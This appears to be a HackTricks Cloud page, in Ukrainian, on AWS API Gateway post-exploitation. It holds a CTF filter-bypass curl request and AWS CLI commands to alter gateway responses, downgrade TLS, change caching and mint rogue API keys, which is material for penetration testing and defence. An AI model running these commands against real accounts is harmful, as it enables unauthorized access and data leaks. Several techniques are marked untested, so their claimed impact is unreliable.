AWS - API Gateway Post Exploitation
Reading time: 6 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
API Gateway
Для отримання додаткової інформації перегляньте:
Доступ до неекспонованих API
Ви можете створити кінцеву точку в https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint з сервісом com.amazonaws.us-east-1.execute-api
, експонувати кінцеву точку в мережі, до якої у вас є доступ (можливо, через машину EC2) і призначити групу безпеки, що дозволяє всі з'єднання.
Потім, з машини EC2 ви зможете отримати доступ до кінцевої точки і, отже, викликати API шлюзу, який раніше не був експонований.
Обхід пропуску тіла запиту
Цю техніку було виявлено в цьому CTF звіті.
Як зазначено в документації AWS в розділі PassthroughBehavior
, за замовчуванням значення WHEN_NO_MATCH
, при перевірці заголовка Content-Type запиту, передасть запит на бекенд без трансформації.
Отже, в CTF API Gateway мав шаблон інтеграції, який перешкоджав ексфільтрації прапора у відповіді, коли запит надсилався з Content-Type: application/json
:
RequestTemplates:
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
Однак, надсилання запиту з Content-type: text/json
запобігло б цьому фільтру.
Нарешті, оскільки API Gateway дозволяв лише Get
та Options
, було можливим надіслати довільний запит до dynamoDB без жодних обмежень, надіславши POST запит з запитом у тілі та використовуючи заголовок X-HTTP-Method-Override: GET
:
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
Usage Plans DoS
У розділі Enumeration ви можете побачити, як отримати план використання ключів. Якщо у вас є ключ і він обмежений до X використань на місяць, ви можете просто використовувати його і викликати DoS.
API Key просто потрібно включити в HTTP заголовок під назвою x-api-key
.
apigateway:UpdateGatewayResponse
, apigateway:CreateDeployment
Зловмисник з правами apigateway:UpdateGatewayResponse
та apigateway:CreateDeployment
може модифікувати існуючу відповідь шлюзу, щоб включити користувацькі заголовки або шаблони відповідей, які витікають чутливу інформацію або виконують шкідливі скрипти.
API_ID="your-api-id"
RESPONSE_TYPE="DEFAULT_4XX"
# Update the Gateway Response
aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RESPONSE_TYPE --patch-operations op=replace,path=/responseTemplates/application~1json,value="{\"message\":\"$context.error.message\", \"malicious_header\":\"malicious_value\"}"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Потенційний вплив: Витік чутливої інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.
note
Потрібно тестування
apigateway:UpdateStage
, apigateway:CreateDeployment
Зловмисник з правами apigateway:UpdateStage
та apigateway:CreateDeployment
може модифікувати існуючий етап API Gateway, щоб перенаправити трафік на інший етап або змінити налаштування кешування для отримання несанкціонованого доступу до кешованих даних.
API_ID="your-api-id"
STAGE_NAME="Prod"
# Update the API Gateway stage
aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --patch-operations op=replace,path=/cacheClusterEnabled,value=true,op=replace,path=/cacheClusterSize,value="0.5"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Потенційний вплив: Несанкціонований доступ до кешованих даних, порушення або перехоплення API-трафіку.
note
Потрібне тестування
apigateway:PutMethodResponse
, apigateway:CreateDeployment
Зловмисник з правами apigateway:PutMethodResponse
та apigateway:CreateDeployment
може модифікувати відповідь методу існуючого методу API Gateway REST API, щоб включити користувацькі заголовки або шаблони відповідей, які витікають чутливу інформацію або виконують шкідливі скрипти.
API_ID="your-api-id"
RESOURCE_ID="your-resource-id"
HTTP_METHOD="GET"
STATUS_CODE="200"
# Update the method response
aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE_ID --http-method $HTTP_METHOD --status-code $STATUS_CODE --response-parameters "method.response.header.malicious_header=true"
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Потенційний вплив: Витік чутливої інформації, виконання шкідливих скриптів або несанкціонований доступ до ресурсів API.
note
Потрібно тестування
apigateway:UpdateRestApi
, apigateway:CreateDeployment
Зловмисник з правами apigateway:UpdateRestApi
та apigateway:CreateDeployment
може змінити налаштування REST API API Gateway, щоб вимкнути ведення журналу або змінити мінімальну версію TLS, що потенційно послаблює безпеку API.
API_ID="your-api-id"
# Update the REST API settings
aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=replace,path=/minimumTlsVersion,value='TLS_1.0',op=replace,path=/apiKeySource,value='AUTHORIZER'
# Create a deployment for the updated API Gateway REST API
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
Потенційний вплив: Послаблення безпеки API, що може дозволити несанкціонований доступ або розкриття чутливої інформації.
note
Потрібно тестування
apigateway:CreateApiKey
, apigateway:UpdateApiKey
, apigateway:CreateUsagePlan
, apigateway:CreateUsagePlanKey
Зловмисник з правами apigateway:CreateApiKey
, apigateway:UpdateApiKey
, apigateway:CreateUsagePlan
та apigateway:CreateUsagePlanKey
може створювати нові API ключі, асоціювати їх з планами використання, а потім використовувати ці ключі для несанкціонованого доступу до API.
# Create a new API key
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
# Create a new usage plan
USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --output text --query 'id')
# Associate the API key with the usage plan
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
Потенційний вплив: Несанкціонований доступ до ресурсів API, обхід засобів безпеки.
note
Потрібне тестування
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.